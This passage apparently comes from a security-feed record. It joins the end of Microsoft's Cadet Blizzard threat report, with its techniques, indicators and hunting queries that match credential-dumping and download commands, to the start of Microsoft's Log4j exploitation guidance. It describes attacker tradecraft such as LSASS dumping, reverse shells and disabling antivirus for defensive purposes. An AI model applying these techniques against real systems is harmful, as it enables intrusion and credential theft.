Microsoft assesses to be unique to Cadet Blizzard operations at the time of the intrusion.\n\n**Privilege escalation and credential harvesting** \nCadet Blizzard has leveraged a variety of living-off-the-land techniques to conduct privilege escalation and harvesting of credentials.\n\n * Dumping LSASS \u2013 Cadet Blizzard uses Sysinternals tools such as _procdump_ to dump LSASS in suspected offline credential harvesting efforts. Cadet Blizzard frequently renames _procdump64_ to alternative names, such as _dump64.exe_.\n * Dumping registry hives \u2013 Cadet Blizzard extracts registry hives using native means via _reg save_.\n\n**Lateral movement** \nCadet Blizzard conducts lateral movement with valid network credentials obtained from credential harvesting. To conduct lateral movement more efficiently, Cadet Blizzard typically uses modules from the publicly available [Impacket framework](<https://github.com/fortra/impacket>). While this framework is generically utilized by multiple actors, preferential execution of patterns of commands may allow for more precision profiling of Cadet Blizzard operations:\n\n * PowerShell _get-volume_ to enumerate the volume of a device\nFigure 3. PowerShell _get-volume_ command\n\n * Copying critical registry hives that contain password hashes and computer information\nFigure 4. Copying critical registry hives\n\n * Downloading files directly from actor-owned infrastructure via the PowerShell _DownloadFile_ commandlet\nFigure 5. PowerShell _DownloadFile_ commandlet\n\n**Command execution and C2**\n\nCadet Blizzard periodically uses generic socket-based tunneling utilities to facilitate command and control (C2) to actor-controlled infrastructure. Payloads such as NetCat and Go Simple Tunnel (GOST) are commonly renamed to blend into the operating system but are used to shovel interactive command prompts over established sockets. Frequently, remote command execution may be facilitated through remotely scheduled tasks. The group has also sparingly utilized Meterpreter.\n\nFigure 6. Scheduled task creating a reverse shell\n\n**Operational security**\n\nCadet Blizzard utilizes anonymization services IVPN, SurfShark, and Tor as their anonymization layer during select operations.\n\n**Anti-forensics** \nCadet Blizzard has been observed leveraging the _Win32_NTEventlogFile_ commandlet in PowerShell to extract both system and security event logs to an operational directory. The activities are anticipated to be consistent with anti-forensics activities.\n\n * Common file targets during extraction are:\n * _sec.evtx_\n * _sys.evtx_\n * Cadet Blizzard commonly deletes files used during operational phases seen in lateral movement.\n * Cadet Blizzard malware implants are known to disable Microsoft Defender Antivirus through a variety of means:\n * _NirSoft AdvancedRun_ utility, which is used to disable Microsoft Defender Antivirus by stopping the _WinDefend_ service.\n * _Disable Windows Defender.bat,_ which presumably disables Microsoft Defender Antivirus via the registry.\nFigure 7. Addition of registry key to disable Microsoft Defender Antivirus\n\n**Impact assessment**\n\nCadet Blizzard typically collects information en-masse from targeted servers. If mail servers are affected, Cadet Blizzard typically attempts to collect mail, placing incident response communications at risk. Credential material (such as SSH keys) are also a common target to provide methods for re-entry if a full remediation does not occur. As was the case with the WhisperGate operation in January 2022, Cadet Blizzard is known to deploy destructive malware to select target environments to delete data and render systems inoperable.\n\nAlso in January of 2022, Microsoft identified that data exfiltrated by Cadet Blizzard in compromises of various Ukrainian organizations was leaked on a Tor .onion site under the name \u201cFree Civilian.\u201d The organizations from which data was leaked strongly correlated to multiple Cadet Blizzard compromises earlier in 2022, leading Microsoft to assess that this forum is almost certainly linked to Cadet Blizzard. In February 2023, a new Telegram channel was established under the same \u201cFree Civilian\u201d moniker, suggesting that Cadet Blizzard intends to continue conducting information operations in the second year of the war. However, the public channel only has 1.3K followers with posts getting at most a dozen reactions as of the time of publication, signifying low user interaction. A private channel assumed to be operated by the same group appears to have shared data with 748 of those subscribers.\n\nFigure 8. Free Civilian hack-and-leak front\n\n### Related ecosystems\n\nCadet Blizzard operations do not occur in a silo; there have been substantial technical indicators of intersection with other malicious cyber activity that may have a broader scope or a nexus outside of Russia. They have at times utilized services associated with these ecosystems such as Storm-0587, discussed below, as well as having support from at least one private sector enabler organization within Russia. Though there have been various forms of intersections in threat activity, when these groups have been observed operating independently, the tactics, techniques, procedures (TTPs) and capabilities have often been distinct\u2014therefore making it operationally valuable to distinguish these activity groups.\n\n**Storm-0587**\n\nStorm-0587 is a cluster of activity beginning as early as April 2021 involving a series of weaponized documents predominantly delivered in phishing operations usually to distribute a series of downloaders and [document stealers](<https://intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/>). One of Storm-0587's trademark tools is [SaintBot](<https://www.malwarebytes.com/blog/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader>), an uncommon downloader that often appears in spear-phishing emails. This downloader can be customized to deploy almost anything as the payload, but in Ukraine, the malware often deploys a version of an [AutoIT information stealer](<https://gist.github.com/malwarezone/119bed274bc77b52122fa118f0a72618#file-stealer-au3-L2880>) that collects documents on the machine that threat actors deem of interest. This specific version of the malware has been named [OUTSTEEL by CERT UA](<https://cert.gov.ua/article/18419>) and has been observed in several attacks, such as a fake version of the Office of the President of Ukraine\u2019s website created in July 2021 that hid weaponized documents, including OUTSTEEL, that would download onto victim\u2019s machines when the documents are clicked.\n\n## Mitigation and protection guidance\n\n### Defending against Cadet Blizzard\n\nActivities linked to Cadet Blizzard indicate that they are comprehensive in their approach and have demonstrated an ability to hold networks at risk of continued compromise for an extended period of time. A comprehensive approach to incident response may be required in order to fully remediate from Cadet Blizzard operations. Organizations can bolster security of information assets and expedite incident response by focusing on areas of risk based on actor tradecraft enumerated within this report. Use the included indicators of compromise to investigate environments and assess for potential intrusion.\n\n * Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.\n * Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. _NOTE:_ Microsoft strongly encourages all customers download and use password-less solutions like [Microsoft Authenticator](<https://www.microsoft.com/account/authenticator/>) to secure accounts.\n * Enable [controlled folder access (CFA)](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/controlled-folders>) to prevent MBR/VBR modification.\n * [Block process creations originating from PSExec and WMI commands](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference#block-process-creations-originating-from-psexec-and-wmi-commands>) to stop lateral movement utilizing the WMIexec component of Impacket.\n * Turn on [cloud-delivered protection](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/configure-block-at-first-sight-microsoft-defender-antivirus>) in Microsoft Defender Antivirus, turned on by default in Windows, or the equivalent for your chosen antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.\n\n### Hunting for Cadet Blizzard hands-on-keyboard activity\n\nTo uncover malicious hands-on-keyboard activities in environments, identify any unusual or unexpected commands or tools launched on systems as well as the presence of any unusual directories or files that could be used for staging or storing malicious tools. Use the common commands, tools, staging directories, and indicators of compromise listed below to help identify Cadet Blizzard intrusion and hands-on-keyboard activity in environments.\n\n**Common commands**\n\n * _systeminfo_ to fingerprint a device after lateral movement\n * _get-volume_ to fingerprint a device after lateral movement\n * _nslookup_ to research specific devices (IP) and FQDNs internally\n * _Get-DnsServerResourceRecord_ to conduct reconnaissance of an internal DNS namespace\n * _query session_ to profile RDP connections\n * _route print_ to enumerate routes available on the devices\n * _DownloadFile_ via PowerShell to download payloads from external servers\n\n**Common tool staging directories**\n\n * _C:\\ProgramData_\n * _C:\\PerfLogs_\n * _C:\\Temp_\n * _C:\\_\n * Subdirectories of legitimate (or fake) user accounts within _%APPDATA%\\Temp_\n * Subdirectories with the name _USOPublic _in the path\n\n**Common tools**\n\n * Tor\n * Python\n * SurfShark\n * Teamviewer\n * Meterpreter named as _dbus-rpc.exe_ in known instances\n * IVPN\n * NGROK\n * _GOST.exe_ frequently masked as _USORead.exe_****\n * regeorg web shell\n\n**Indicators of compromise (IOCs)**\n\nIOC| Type| Description \n---|---|--- \njusticeua[.]org| Domain| Sender for non-weaponized emails containing only antagonistic messaging: _volodimir_azov@justiceua[.]org_ \n179.43.187[.]33| IP address| Hosted the JusticeUA operation between March and April 2022 \n3a2a2de20daa74d8f6921230416ed4e6| PE Import Hash| PE Import Hash matching WhisperGate malware \n3e4bb8089657fef9b8e84d9e17fd0d7740853c4c0487081dacc4f22359bade5c| SHA-256| Web shell - p0wnyshell (not unique to Cadet Blizzard) \n20215acd064c02e5aa6ae3996b53f5313c3f13625a63da1d3795c992ea730191| SHA-256| Web shell - p0wnyshell (not unique to Cadet Blizzard) \n3fe9214b33ead5c7d1f80af469593638b9e1e5f5730a7d3ba2f96b6b555514d4| SHA-256| Web shell - WSO Shell (not unique to Cadet Blizzard) \n23d6611a730bed886cc3b4ce6780a7b5439b01ddf6706ba120ed3ebeb3b1c478| SHA-256| Web shell \u2013 reGeorg (not unique to Cadet Blizzard) \n7fedaf0dec060e40cbdf4ec6d0fbfc427593ad5503ad0abaf6b943405863c897| SHA-256| Web shell \u2013 PAS (may not be unique to Cadet Blizzard) \n \n### Microsoft 365 Defender detections\n\n**Microsoft Defender Antivirus**\n\nMicrosoft Defender Antivirus detects behavioral components of techniques this threat actor uses as the following:\n\n * Behavior:Win32/WmiprvseRemoteProc\n\nMicrosoft Defender Antivirus detects the WhisperGate malware attributed to this threat actor with the following family:\n\n * WhisperGate\n\n**Microsoft Defender for Endpoint**\n\nThe following Microsoft Defender for Endpoint alerts can indicate associated threat activity:\n\n * Cadet Blizzard activity detected\n * Possible Storm-0587 activity detected\n\nThe following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.\n\n * Ongoing hands-on-keyboard attack via Impacket toolkit\n * Suspicious PowerShell command line\n * Suspicious WMI process creation\n\n**Microsoft Defender Vulnerability Management**\n\nMicrosoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:\n\n * CVE-2021-26084\n * CVE-2020-1472\n * CVE-2021-4034\n\n### Hunting queries\n\n**Microsoft 365 Defender**\n\nMicrosoft 365 Defender customers can run the following query to find related activity in their networks:\n\nCheck for WMIExec Impacket activity with common Cadet Blizzard commands\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \"WmiPrvSE.exe\" and FileName =~ \"cmd.exe\"\n | where ProcessCommandLine matches regex \"2>&1\"\n | where ProcessCommandLine has_any (\"get-volume\",\"systeminfo\",\"reg.exe\",\"downloadfile\",\"nslookup\",\"query session\",\"route print\")\n \n\nFind PowerShell file downloads\n \n \n DeviceProcessEvents\n | where FileName == \"powershell.exe\" and ProcessCommandLine has \"DownloadFile\"\n \n\nScheduled task creation, command execution and C2 communication\n \n \n DeviceProcessEvents \n | where Timestamp > ago(14d) \n | where FileName =~ \"schtasks.exe\" \n | where (ProcessCommandLine contains \"splservice\" or ProcessCommandLine contains \"spl32\") and \n (ProcessCommandLine contains \"127.0.0.1\" or ProcessCommandLine contains \"2>&1\")\n \n\n### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with \u201cTI map\u201d) to automatically match indicators associated with Cadet Blizzard in Microsoft Defender Threat Intelligence (MDTI) with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the MDTI connector and analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here: <https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy>.\n\nMicrosoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft 365 Defender detections list above.\n\n * [Web Shell Activity](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Web Shells Threat Protection/Hunting Queries/WebShellActivity.yaml>)\n * [Commands executed by WMI](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Windows Security Events/Hunting Queries/CommandsexecutedbyWMIonnewhosts-potentialImpacket.yaml>)\n * [Potential Impacket Execution](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Attacker Tools Threat Protection Essentials/Hunting Queries/PotentialImpacketExecution.yaml>)\n * [Dumping LSASS using procdump](<https://github.com/Azure/Azure-Sentinel/blob/ccbb0e644810e0edf3b8ee4f284fd05ea1cc46ad/Hunting%20Queries/Microsoft%20365%20Defender/Credential%20Access/procdump-lsass-credentials.yaml>)\n * [Potential Microsoft Defender Tampering](<https://github.com/Azure/Azure-Sentinel/blob/c5e3281a8a30ea658ce8f8234a182a63ceb996d7/Hunting%20Queries/Microsoft%20365%20Defender/Defense%20evasion/PotentialMicrosoftDefenderTampering%5BSolarigate%5D.yaml>)\n\n### References\n\n * <https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>\n * <https://github.com/flozz/p0wny-shell>\n * <https://github.com/sensepost/reGeorg>\n * <https://cert.gov.ua/article/3947787>\n * <https://github.com/fortra/impacket>\n * <https://intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/>\n\n## Further reading\n\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: <https://aka.ms/threatintelblog>.\n\nTo get notified about new publications and to join discussions on social media, follow us on Twitter at <https://twitter.com/MsftSecIntel>.\n\nThe post [Cadet Blizzard emerges as a novel and distinct Russian threat actor](<https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/en-us/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-06-14T16:00:00", "type": "mssecure", "title": "Cadet Blizzard emerges as a novel and distinct Russian threat actor", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-26084", "CVE-2021-4034", "CVE-2022-41040"], "modified": "2023-06-14T16:00:00", "id": "MSSECURE:1AFF4881941FA1030862F773DC84A4A8", "href": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-19T21:27:16", "description": "**_January 10, 2022 recap \u2013_**_ The Log4j vulnerabilities represent a complex and high-risk situation for companies across the globe. This open-source component is widely used across many suppliers\u2019 software and services. By nature of Log4j being a component, the vulnerabilities affect not only applications that use vulnerable libraries, but also any services that use these applications, so customers may not readily know how widespread the issue is in their environment. Customers are encouraged to utilize scripts and scanning tools to assess their risk and impact. Microsoft has observed attackers using many of the same inventory techniques to locate targets. Sophisticated adversaries (like nation-state actors) and commodity attackers alike have been observed taking advantage of these vulnerabilities. There is high potential for the expanded use of the vulnerabilities._\n\n_In January, we started seeing attackers taking advantage of the vulnerabilities in internet-facing systems, eventually deploying ransomware._ _We have observed many existing attackers adding exploits of these vulnerabilities in their existing malware kits and tactics, from coin miners to hands-on-keyboard attacks. Organizations may not realize their environments may already be compromised. Microsoft recommends customers to do additional review of devices where vulnerable installations are discovered. At this juncture, customers should assume broad availability of exploit code and scanning capabilities to be a real and present danger to their environments. Due to the many software and services that are impacted and given the pace of updates, this is expected to have a long tail for remediation, requiring ongoing, sustainable vigilance._\n\n_**January 19, 2022 update** - We added new information about an unrelated vulnerability we discovered while investigating Log4j attacks._\n\nThe remote code execution (RCE) vulnerabilities in Apache Log4j 2 referred to as \u201cLog4Shell\u201d ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228>), [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>), [CVE-2021-44832](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44832>)) has presented a new attack vector and gained broad attention due to its severity and potential for widespread exploitation. The majority of attacks we have observed so far have been mainly mass-scanning, coin mining, establishing remote shells, and red-team activity, but it\u2019s highly likely that attackers will continue adding exploits for these vulnerabilities to their toolkits.\n\nWith nation-state actors testing and implementing the exploit and known ransomware-associated access brokers using it, we highly recommend applying security patches and updating affected products and services as soon as possible. Refer to the [Microsoft Security Response Center blog](<https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/>) for technical information about the vulnerabilities and mitigation recommendations.\n\nMeanwhile, defenders need to be diligent in detecting, hunting for, and investigating related threats. This blog reports our observations and analysis of attacks that take advantage of the Log4j 2 vulnerabilities. It also provides our recommendations for using Microsoft security solutions to (1) find and remediate vulnerable services and systems and (2) detect, investigate, and respond to attacks.\n\nThis blog covers the following topics:\n\n 1. **Attack vectors and observed activity**\n 2. **Finding and remediating vulnerable apps and systems**\n * Threat and vulnerability management\n * Discovering affected components, software, and devices via a unified Log4j dashboard\n * Applying mitigation directly in the Microsoft 365 Defender portal\n * Microsoft 365 Defender advanced hunting\n * Microsoft Defender for Cloud\n * Microsoft Defender for servers\n * Microsoft Defender for Containers\n * Microsoft Sentinel queries\n * RiskIQ EASM and Threat Intelligence\n 3. **Detecting and responding to exploitation attempts and other related attacker activity**\n * Microsoft 365 Defender\n * Microsoft Defender Antivirus\n * Microsoft Defender for Endpoint\n * Microsoft Defender for Cloud Apps\n * Microsoft Defender for Office 365\n * Microsoft 365 Defender advanced hunting\n * Microsoft Defender for Cloud\n * Microsoft Defender for IoT\n * Microsoft Sentinel\n * Microsoft Sentinel queries\n * Azure Firewall Premium\n * Azure Web Application Firewall (WAF)\n 4. **Indicators of compromise (IoCs)**\n\n## Attack vectors and observed activity\n\nMicrosoft\u2019s unified threat intelligence team, comprising the Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, RiskIQ, and the Microsoft Detection and Response Team (DART), among others, have been tracking threats taking advantage of the remote code execution (RCE) vulnerabilities in [Apache Log4j 2](<https://logging.apache.org/log4j/2.x/>) referred to as \u201cLog4Shell\u201d.\n\nThe bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers. An example pattern of attack would appear in a web request log with strings like the following:\n\n\n\nAn attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.\n\nThe specially crafted string that enables exploitation of the vulnerabilities can be identified through several components. The string contains \u201cjndi\u201d, which refers to the Java Naming and Directory Interface. Following this, the protocol, such as \u201cldap\u201d, \u201cldaps\u201d, \u201crmi\u201d, \u201cdns\u201d, \u201ciiop\u201d, or \u201chttp\u201d, precedes the attacker domain.\n\nAs security teams work to detect the exploitation, attackers have added obfuscation to these requests to evade detections based on request patterns. We\u2019ve seen things like running a lower or upper command within the exploitation string and even more complicated obfuscation attempts, such as the following, that are all trying to bypass string-matching detections:\n\n\n\nThe vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed. Based on the nature of the vulnerabilities, once the attacker has full access and control of an application, they can perform a myriad of objectives. Microsoft has observed activities including installing coin miners, using Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.\n\n### Exploitation continues on non-Microsoft hosted Minecraft servers\n\nMinecraft customers running their own servers are encouraged to deploy the latest Minecraft server update as soon as possible to protect their users. More information can be found here: <https://aka.ms/mclog>.\n\nMicrosoft can confirm public reports of the Khonsari ransomware family being delivered as payload post-exploitation, as discussed by [Bitdefender](<https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild>). In Microsoft Defender Antivirus data we have observed a small number of cases of this being launched from compromised Minecraft clients connected to modified Minecraft servers running a vulnerable version of Log4j 2 via the use of a third-party Minecraft mods loader.\n\nIn these cases, an adversary sends a malicious in-game message to a vulnerable Minecraft server, which exploits CVE-2021-44228 to retrieve and execute an attacker-hosted payload on both the server and on connected vulnerable clients. We observed exploitation leading to a malicious Java class file that is the Khonsari ransomware, which is then executed in the context of _javaw.exe_ to ransom the device.\n\nWhile it\u2019s uncommon for Minecraft to be installed in enterprise networks, we have also observed PowerShell-based reverse shells being dropped to Minecraft client systems via the same malicious message technique, giving an actor full access to a compromised system, which they then use to run Mimikatz to steal credentials. These techniques are typically associated with enterprise compromises with the intent of lateral movement. Microsoft has not observed any follow-on activity from this campaign at this time, indicating that the attacker may be gathering access for later use.\n\nDue to the shifts in the threat landscape, Microsoft reiterates the guidance for Minecraft customers running their own servers to deploy the latest Minecraft server update and for players to exercise caution by only connecting to trusted Minecraft servers.\n\n### Nation-state activity\n\nMSTIC has also observed the CVE-2021-44228 vulnerability being used by multiple tracked nation-state activity groups originating from China, Iran, North Korea, and Turkey. This activity ranges from experimentation during development, integration of the vulnerabilities to in-the-wild payload deployment, and exploitation against targets to achieve the actor\u2019s objectives.\n\nFor example, MSTIC has observed PHOSPHORUS, an Iranian actor known to deploy ransomware, acquiring and making modifications of the Log4j exploit. We assess that PHOSPHORUS has operationalized these modifications.\n\nIn addition, HAFNIUM, a threat actor group operating out of China, has been observed utilizing the vulnerability to attack virtualization infrastructure to extend their typical targeting. In these attacks, HAFNIUM-associated systems were observed using a DNS service typically associated with testing activity to fingerprint systems.\n\n### Access brokers associated with ransomware\n\nMSTIC and the Microsoft 365 Defender team have confirmed that multiple tracked activity groups acting as access brokers have begun using the vulnerability to gain initial access to target networks. These access brokers then sell access to these networks to ransomware-as-a-service affiliates. We have observed these groups attempting exploitation on both Linux and Windows systems, which may lead to an increase in human-operated ransomware impact on both of these operating system platforms.\n\n### Mass scanning activity continues\n\nThe vast majority of traffic observed by Microsoft remains mass scanners by both attackers and security researchers. Microsoft has observed rapid uptake of the vulnerability into existing botnets like Mirai, existing campaigns previously targeting vulnerable Elasticsearch systems to deploy cryptocurrency miners, and activity deploying the Tsunami backdoor to Linux systems. Many of these campaigns are running concurrent scanning and exploitation activities for both Windows and Linux systems, using Base64 commands included in the JDNI:ldap:// request to launch bash commands on Linux and PowerShell on Windows.\n\nMicrosoft has also continued to observe malicious activity performing data leakage via the vulnerability without dropping a payload. This attack scenario could be especially impactful against network devices that have SSL termination, where the actor could leak secrets and data.\n\n### Additional RAT payloads\n\nWe\u2019ve observed the dropping of additional remote access toolkits and reverse shells via exploitation of CVE-2021-44228, which actors then use for hands-on-keyboard attacks. In addition to the Cobalt Strike and PowerShell reverse shells seen in earlier reports, we\u2019ve also seen Meterpreter, Bladabindi, and HabitsRAT. Follow-on activities from these shells have not been observed at this time, but these tools have the ability to steal passwords and move laterally.\n\nThis activity is split between a percentage of small-scale campaigns that may be more targeted or related to testing, and the addition of CVE-2021-44428 to existing campaigns that were exploiting vulnerabilities to drop remote access tools. In the HabitsRAT case, the campaign was seen overlapping with infrastructure used in prior campaigns.\n\n### Webtoos\n\nThe Webtoos malware has DDoS capabilities and persistence mechanisms that could allow an attacker to perform additional activities. As reported by [RiskIQ](<https://community.riskiq.com/article/67ba1386>), Microsoft has seen Webtoos being deployed via the vulnerability. Attackers\u2019 use of this malware or intent is not known at this time, but the campaign and infrastructure have been in use and have been targeting both Linux and Windows systems prior to this vulnerability.\n\n### A note on testing services and assumed benign activity\n\nWhile services such as _interact.sh_, _canarytokens.org_, _burpsuite_, and _dnslog.cn_ may be used by IT organizations to profile their own threat footprints, Microsoft encourages including these services in your hunting queries and validating observations of these in environments to ensure they are intentional and legitimate activity.\n\n### Exploitation in internet-facing systems leads to ransomware\n\nAs early as January 4, attackers started exploiting the CVE-2021-44228 vulnerability in internet-facing systems running VMware Horizon. Our investigation shows that successful intrusions in these campaigns led to the deployment of the NightSky ransomware.\n\nThese attacks are performed by a China-based ransomware operator that we\u2019re tracking as DEV-0401. DEV-0401 has previously deployed multiple ransomware families including LockFile, AtomSilo, and Rook, and has similarly exploited Internet-facing systems running Confluence (CVE-2021-26084) and on-premises Exchange servers (CVE-2021-34473).\n\nBased on our analysis, the attackers are using command and control (CnC) servers that spoof legitimate domains. These include service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net, and 139[.]180[.]217[.]203.\n\n### Attackers propagating Log4j attacks via previously undisclosed vulnerability\n\nDuring our sustained monitoring of threats taking advantage of the Log4j 2 vulnerabilities, we observed activity related to attacks being propagated via a previously undisclosed vulnerability in the SolarWinds Serv-U software. We discovered that the vulnerability, now tracked as [CVE-2021-35247](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35247>), is an input validation vulnerability that could allow attackers to build a query given some input and send that query over the network without sanitation.\n\nWe reported our discovery to SolarWinds, and we\u2019d like to thank their teams for immediately investigating and working to remediate the vulnerability. We strongly recommend affected customers to apply security updates released by referring to the SolarWinds advisory here: <https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35247>. \n\nMicrosoft customers can use threat and vulnerability management in Microsoft Defender for Endpoint to identify and remediate devices that have this vulnerability. In addition, Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect malicious behavior related to the observed activity.\n\n## Finding and remediating vulnerable apps and systems\n\n### Threat and vulnerability management\n\n[Threat and vulnerability management](<https://www.microsoft.com/security/business/threat-protection/threat-vulnerability-management>) capabilities in Microsoft Defender for Endpoint monitor an organization\u2019s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities.\n\n#### Discovering affected components, software, and devices via a unified Log4j dashboard\n\nThreat and vulnerability management automatically and seamlessly identifies devices affected by the Log4j vulnerabilities and the associated risk in the environment and significantly reduces time-to-mitigate.\n\nThe wide use of Log4j across many supplier\u2019s products challenge defender teams to mitigate and address the risks posed by the vulnerabilities ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>) or [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>)). The threat and vulnerability management capabilities within Microsoft 365 Defender can help identify vulnerable installations. On December 15, we began rolling out updates to provide a consolidated view of the organizational exposure to the Log4j 2 vulnerabilities\u2014on the device, software, and vulnerable component level\u2014through a range of automated, complementing capabilities. These capabilities are supported on Windows 10, Windows 11, and Windows Server 2008, 2012, and 2016. They are also supported on Linux, but they require updating the Microsoft Defender for Endpoint Linux client to version 101.52.57 (30.121092.15257.0) or later. The updates include the following:\n\n * Discovery of vulnerable Log4j library components (paths) on devices\n * Discovery of vulnerable installed applications that contain the Log4j library on devices\n * A [dedicated Log4j dashboard](<https://security.microsoft.com/vulnerabilities/vulnerability/CVE-2021-44228/overview>) that provides a consolidated view of various findings across vulnerable devices, vulnerable software, and vulnerable files\n * Introduction of a new schema in advanced hunting, **DeviceTvmSoftwareEvidenceBeta**, which surfaces file-level findings from the disk and provides the ability to correlate them with additional context in advanced hunting:\n \n \n DeviceTvmSoftwareEvidenceBeta\n | mv-expand DiskPaths\n | where DiskPaths contains \"log4j\"\n | project DeviceId, SoftwareName, SoftwareVendor, SoftwareVersion, DiskPaths\n\nTo complement this new table, the existing **DeviceTvmSoftwareVulnerabilities** table in advanced hunting can be used to identify vulnerabilities in installed software on devices:\n \n \n DeviceTvmSoftwareVulnerabilities \n | where CveId in (\"CVE-2021-44228\", \"CVE-2021-45046\")\n\nThese new capabilities integrate with the existing threat and vulnerability management experience and are gradually rolling out. As of December 27, 2021, discovery is based on installed application CPEs that are known to be vulnerable to Log4j RCE, as well as the presence of vulnerable Log4j Java Archive (JAR) files. Cases where Log4j is packaged into an Uber-JAR or shaded are currently not discoverable, but support for discovery of these instances and other packaging methods is in development. Support for macOS is also in progress and will roll out soon.\n\n\n\n_Figure 1. Threat and Vulnerability recommendation __\u201cAttention required: Devices found with vulnerable Apache Log4j versions\u201d_\n\nOn the Microsoft 365 Defender portal, go to **Vulnerability management** > **Dashboard** > **Threat awareness**, then click **View vulnerability details** to see the consolidated view of organizational exposure to the Log4j 2 vulnerability (for example, CVE-2021-44228 dashboard, as shown in the following screenshots) on the device, software, and vulnerable component level.\n\n\n\n_Figure 2. Threat and vulnerability management dedicated CVE-2021-44228 dashboard_\n\n\n\n_Figure 3. Threat and vulnerability management finds exposed paths_\n\n\n\n_Figure 4. Threat and vulnerability management finds exposed devices based on vulnerable software and vulnerable files detected on disk_\n\nNote: Scan results may take some time to reach full coverage, and the number of discovered devices may be low at first but will grow as the scan reaches more devices. A regularly updated list of vulnerable products can be viewed in the Microsoft 365 Defender portal with matching recommendations. We will continue to review and update this list as new information becomes available.\n\nThrough [device discovery](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/unmanaged-device-protection-capabilities-are-now-generally/ba-p/2463796>), unmanaged devices with products and services affected by the vulnerabilities are also surfaced so they can be onboarded and secured.\n\n\n\n_Figure 5. Finding vulnerable applications and devices via software inventory_\n\n#### Applying mitigation directly in the Microsoft 365 Defender portal\n\nWe have released two new threat and vulnerability management capabilities that can significantly simplify the process of turning off JNDI lookup, a workaround that can prevent the exploitation of the Log4j vulnerabilities on most devices, using an environment variable called LOG4J_FORMAT_MSG_NO_LOOKUPS. These new capabilities provide security teams with the following:\n\n 1. View the mitigation status for each affected device. This can help prioritize mitigation and/or patching of devices based on their mitigation status.\n\nTo use this feature, open the 